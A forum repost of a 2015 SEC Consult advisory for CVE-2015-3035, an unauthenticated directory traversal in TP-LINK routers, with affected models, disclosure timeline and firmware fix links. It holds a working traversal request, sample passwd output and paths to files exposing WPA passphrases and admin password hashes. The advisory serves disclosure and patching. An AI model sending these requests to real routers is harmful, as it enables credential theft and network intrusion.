KhiZaRix Posted April 11, 2015 Report Posted April 11, 2015 SEC Consult Vulnerability Lab Security Advisory < 20150410-0 >======================================================================= title: Unauthenticated Local File Disclosure product: Multiple TP-LINK products (see Vulnerable / tested versions) vulnerable version: Multiple (see Vulnerable / tested versions) fixed version: see Solution CVE number: CVE-2015-3035 impact: Critical homepage: Welcome to TP-LINK found: 2015-02-19 by: Stefan Viehb??ck (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Berlin - Frankfurt/Main - Montreal - Singapore Vienna (HQ) - Vilnius - Zurich https://www.sec-consult.com=======================================================================Vendor description:-------------------"TP-LINK is a global provider of SOHO & SMB networking products and the World'sNo.1 provider of WLAN products, with products available in over 120 countriesto tens of millions customers. Committed to intensive R&D, efficient productionand strict quality management, TP-LINK continues to provide award-winningnetworking products in Wireless, ADSL, Routers, Switches, IP Cameras, PowerlineAdapters, Print Servers, Media Converters and Network Adapters for Globalend-users."Source: About TP-LINK - Welcome to TP-LINKBusiness recommendation:------------------------Attackers can read sensitive configuration files without prior authentication.These files e.g. include the administrator credentials and the WPA passphrase.TP-LINK has provided fixed firmware which should be installed immediately.Vulnerability overview/description:-----------------------------------Because of insufficient input validation, arbitrary local files can bedisclosed. Files that include passwords and other sensitive information canbe accessed.Proof of concept:-----------------The following HTTP request shows how directory traversal can be used to gainaccess to files without prior authentication:===============================================================================GET /login/../../../etc/passwd HTTP/1.1Host: $host===============================================================================The server response includes the contents of the file:===============================================================================HTTP/1.1 200 OKServer: Router WebserverConnection: Keep-AliveKeep-Alive:Persist:WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"Content-Length: 683Content-Type: text/htmlroot:x:0:0:root:/root:/bin/shAdmin:x:0:0:root:/root:/bin/shbin:x:1:1:bin:/bin:/bin/shdaemon:x:2:2:daemon:/usr/sbin:/bin/shadm:x:3:4:adm:/adm:/bin/shlp:x:4:7:lp:/var/spool/lpd:/bin/shsync:x:5:0:sync:/bin:/bin/syncshutdown:x:6:11:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltuucp:x:10:14:uucp:/var/spool/uucp:/bin/shoperator:x:11:0:Operator:/var:/bin/shnobody:x:65534:65534:nobody:/home:/bin/shap71:x:500:0:Linux User,,,:/root:/bin/shdropbear:x:500:500:dropbear:/tmp/dropbear:/bin/shadmin:x:500:500:admin:/home:/bin/shguest:x:500:500:guest:/home:/bin/shdropbear:x:500:500:dropbear:/tmp/dropbear:/bin/shdropbear:x:500:500:dropbear:/tmp/dropbear:/bin/sh===============================================================================Several sensitive files can be read. These include:Files containing Wi-Fi configuration including WPA-passphrase:/login/../../../tmp/ath.ap_bss/login/../../../tmp/ath1.ap_bssA file containing administrator credentials (format: $user:md5($password), which canbe brute-forced very efficiently:/login/../../../tmp/dropbear/dropbearpwdExample server response:===============================================================================HTTP/1.1 200 OKServer: Router WebserverConnection: Keep-AliveKeep-Alive:Persist:WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"Content-Length: 56Content-Type: text/htmlusername:adminpassword:11d0fc2ff3e7862d8a3f9b280e6d390c===============================================================================Vulnerable / tested versions:-----------------------------The vulnerability affects the following products:TP-LINK Archer C5 (Hardware version 1.2)TP-LINK Archer C7 (Hardware version 2.0)TP-LINK Archer C8 (Hardware version 1.0)TP-LINK Archer C9 (Hardware version 1.0)TP-LINK TL-WDR3500 (Hardware version 1.0)TP-LINK TL-WDR3600 (Hardware version 1.0)TP-LINK TL-WDR4300 (Hardware version 1.0)TP-LINK TL-WR740N (Hardware version 5.0)TP-LINK TL-WR741ND (Hardware version 5.0)TP-LINK TL-WR841N (Hardware version 9.0)TP-LINK TL-WR841N (Hardware version 10.0)TP-LINK TL-WR841ND (Hardware version 9.0)TP-LINK TL-WR841ND (Hardware version 10.0)Vendor contact timeline:------------------------2015-02-19: Contacting vendor through support@tp-link.com.2015-02-24: Resending email as previous ticket has been closed by TP-LINK.2015-02-24: Contacting technical support engineer of TP-LINK, contact received by 3rd party.2015-02-25: Requesting encryption keys, providing affected models.2015-02-26: No encryption keys available, sending advisory in unencrypted form.2015-02-28: Vendor confirms vulnerability, provides beta firmware.2015-03-03: Sending confirmation that beta firmware fixes the vulnerability.2015-03-06: Vendor is working on release schedule, affected devices.2015-03-16: Vendor announces that fixed firmware will be released by the end of March.2015-03-24: Vendor confirms that firmware releases are on schedule.2015-04-08: Vendor provides final list of affected products & download URLs.2015-04-10: Coordinated release of security advisory.Solution:---------Update to the most recent firmware version:TP-LINK Archer C5 (Hardware version 1.2): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13048TP-LINK Archer C7 (Hardware version 2.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13008TP-LINK Archer C8 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13052TP-LINK Archer C9 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13020TP-LINK TL-WDR3500 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13018TP-LINK TL-WDR3600 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13019TP-LINK TL-WDR4300 (Hardware version 1.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13009TP-LINK TL-WR740N (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13012TP-LINK TL-WR741ND (Hardware version 5.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13013TP-LINK TL-WR841N (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13033TP-LINK TL-WR841N (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13036TP-LINK TL-WR841ND (Hardware version 9.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13035TP-LINK TL-WR841ND (Hardware version 10.0): http://www.tp-link.com/en/handlers/download.ashx?resourceid=13037Workaround:-----------See solution.Advisory URL:-------------https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~SEC Consult Vulnerability LabSEC ConsultBerlin - Frankfurt/Main - Montreal - Singapore - Vienna (HQ) - Vilnius - ZurichAbout SEC Consult Vulnerability LabThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult. Itensures the continued knowledge gain of SEC Consult in the field of networkand application security to stay ahead of the attacker. The SEC ConsultVulnerability Lab supports high-quality penetration testing and the evaluationof new offensive and defensive technologies for our customers. Hence ourcustomers obtain the most current information about vulnerabilities and validrecommendation about the risk profile of new technologies.~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Interested to work with the experts of SEC Consult?Send us your application https://www.sec-consult.com/en/Career.htmInterested in improving your cyber security with the experts of SEC Consult?Contact our local offices https://www.sec-consult.com/en/About/Contact.htm~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Mail: research at sec-consult dot comWeb: https://www.sec-consult.comBlog: http://blog.sec-consult.comTwitter: https://twitter.com/sec_consultEOF Stefan Viehb??ck / @2015Source: http://packetstorm.wowhacker.com/1504-exploits/SA-20150410-0.txt Quote